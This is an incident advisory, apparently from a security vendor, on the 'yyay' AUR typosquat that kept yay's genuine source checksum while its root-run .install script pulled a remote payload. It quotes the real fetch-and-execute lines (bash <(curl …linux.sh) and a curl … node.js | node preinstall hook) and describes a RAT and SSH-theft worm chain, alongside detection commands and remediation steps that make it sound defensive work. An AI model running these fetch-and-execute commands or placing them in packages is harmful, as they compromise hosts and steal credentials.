critical

CVE

Not assigned

CWE

CWE-494, CWE-506, CWE-829

Affected Surface

  • `yyay`, the publicly preserved AUR typosquat that copied the real `yay` source archive but changed the install path
  • Arch Linux and derivative systems that built or installed packages uploaded by the `marchos1as` account between 13 and 14 October 2026
  • Hosts that executed a `.install` script fetching `gitflic.ru/project/hellscripter/install-scripts/linux.sh` through `web.archive.org`, especially where SSH keys, npm tokens, or AUR maintainer credentials were present

The freshest Linux package story in this sweep is small in the archive and ugly on the host. Public reporting shows that an AUR account named marchos1as uploaded typosquatted helper packages on 13 October, then had the account banned and the packages removed on 14 October. The one package name that survives cleanly across the public record is yyay, a fake yay package.

What makes yyay worth its own write-up is not the name. It is the shape of the trust failure. The package reportedly reused the real yay source tarball and its checksum, then moved the malicious logic into the install script that pacman runs as root.

What was affected

The public evidence is strong on one package and weaker on the deleted tail of the wave.

  • yyay is independently named in preserved reporting.
  • BleepingComputer, CtrlAltNod, and community watchers all say the marchos1as account uploaded more typosquatted packages aimed at yay, paru, and other familiar names.
  • The deleted package list was not preserved in a durable public inventory, so it is safer to scope this article to the named exemplar and the shared install-path pattern than to pretend we can reconstruct the full set after the cleanup.

Archcanary’s October 14 warning says the broader upload wave included yyay, ya, paur, Brave lookalikes such as brave-origin-bin and bfave-bin, Dropbox lookalikes such as dropbpx and droopbox, plus firefox-git. Treat those as contemporaneous community warnings, not as a complete incident list.

The practical blast radius is simpler than the package inventory:

download or build a fake AUR helper
  -> pacman / makepkg executes .install as root
  -> install script pulls remote shell content
  -> attacker-controlled code runs before the user ever launches the tool

Why the checksum could still look fine

CtrlAltNod’s summary captures the part that can fool experienced Linux users: yyay reportedly pointed to the genuine yay 13.0.1 upstream source and still validated against the real source archive’s SHA-256 hash.

That means a quick “did the source tarball match?” check would not save you. The malicious part lived beside the source archive, not inside it.

The dangerous split looked like this:

PKGBUILD
  -> real upstream source tarball
  -> expected checksum still passes

.install
  -> fetch remote shell script
  -> run it as root during install or upgrade

This is exactly the sort of package review shortcut attackers count on. People often check where the source archive comes from. Far fewer check whether the install script adds a second execution path after the archive has already earned trust.

The remote payload path matters more than the package name

BleepingComputer says the AUR payload was fetched through a Wayback Machine URL that pointed to hellscripter/install-scripts on gitflic.ru. Archcanary’s watcher post says each affected .install script ran the remote payload as root.

At the package-manager layer, the execution path was simple:

bash <(curl 'https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/linux.sh')

That one line is enough. By the time it runs, the install is already in a root context.

The interesting response detail is the infrastructure overlap. Public reporting has not proved that the October AUR upload came from the exact same operator as the late-September npm dirtyblanket campaign. It has proved that the hellscripter/install-scripts family already existed in public malware reporting, and that it was built to do much more than print a banner or drop a trivial beacon.

What the hellscripter/install-scripts family was already known to do

Public analysis of the related dirtyblanket npm packages shows the same hellscripter/install-scripts path serving a staged Linux infection chain through node.js, linux.sh, and systemd-fontd. The npm case used a preinstall hook:

curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node

Structured malware records and Ossprey’s teardown line up on what the Linux stage was built to do after execution:

linux.sh
  -> install Tor, SSH, git, npm, and build tools
  -> drop a modified CHAOS RAT disguised as a systemd font service
  -> steal SSH private keys
  -> try those keys against known_hosts entries, including root
  -> backdoor reachable AUR repositories
  -> add malicious preinstall hooks to local npm packages and try to republish them

One root-level persistence path from that analysis is worth quoting directly:

/usr/lib/systemd/systemd-fontrenderd
/etc/systemd/system/systemd-fontrenderd.service
HTTP_PROXY=socks5://127.0.0.1:9050

That does not prove the October AUR upload reached every later stage in every environment. It does mean responders should not treat yyay as “just a fake package name.” The shared infrastructure had already been analyzed as a Linux worm plus RAT chain with SSH theft, package-repository spread, and npm-side follow-on behavior.

Why this is worse than a normal typo

Ordinary typosquats often rely on the user typing the wrong package name and then running the installed program. yyay was worse because the malicious step could run before the program ever started.

trusted source tarball
  + trusted-seeming helper name
  + root-run install script
  = host compromise during package installation

The package did not need to fool the user twice. One install was enough.

It also targeted the kind of machine that usually carries the most valuable follow-on material: developer workstations and build hosts with SSH keys, cached package credentials, and sometimes AUR maintainer access.

What to search for

Start with package and log evidence from the incident window:

grep -E '2026-10-1[34].*(installed|upgraded)' /var/log/pacman.log
pacman -Qmq | rg '^(yyay|ya|paur)$'

Then search AUR helper caches and temp locations for the payload URL and the known helper name:

rg -n \
  'yyay|hellscripter|web\\.archive\\.org/web/https://gitflic\\.ru/project/hellscripter/install-scripts/linux\\.sh' \
  ~/.cache/yay ~/.cache/paru ~/.cache/pikaur /tmp /var/tmp 2>/dev/null

Because the related Linux worm family used systemd persistence, also check for the service names and paths that Ossprey documented:

rg -n 'systemd-fontrenderd|systemd-fontcached|hellscripter' \
  /etc/systemd ~/.config/systemd /usr/lib/systemd "$HOME" 2>/dev/null

If you suspect the broader hellscripter chain executed, inspect SSH and npm residue as well:

rg -n 'hellscripter|web\\.archive\\.org/web/https://codeberg\\.org/hellscripter' \
  ~/.ssh ~/.npm ~/.config 2>/dev/null

Response guidance

  1. If yyay or any other package from the marchos1as account was installed, treat the host as compromised.
  2. Preserve pacman logs, AUR helper caches, .install files, and systemd unit files before cleanup.
  3. Remove persistence only after checking for immutable files or service entries left by the later Linux stages.
  4. Rotate SSH keys, package-registry tokens, and any other credentials that were reachable from the host.
  5. Audit any AUR repositories or npm packages that the host had permission to push to, because the related hellscripter tooling was built to spread through both.

The lesson is practical. A package can keep the real source tarball, keep the real checksum, and still own the machine if the install script has another plan.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

Explore dependency scanning Explore secrets scanning Get Demo

References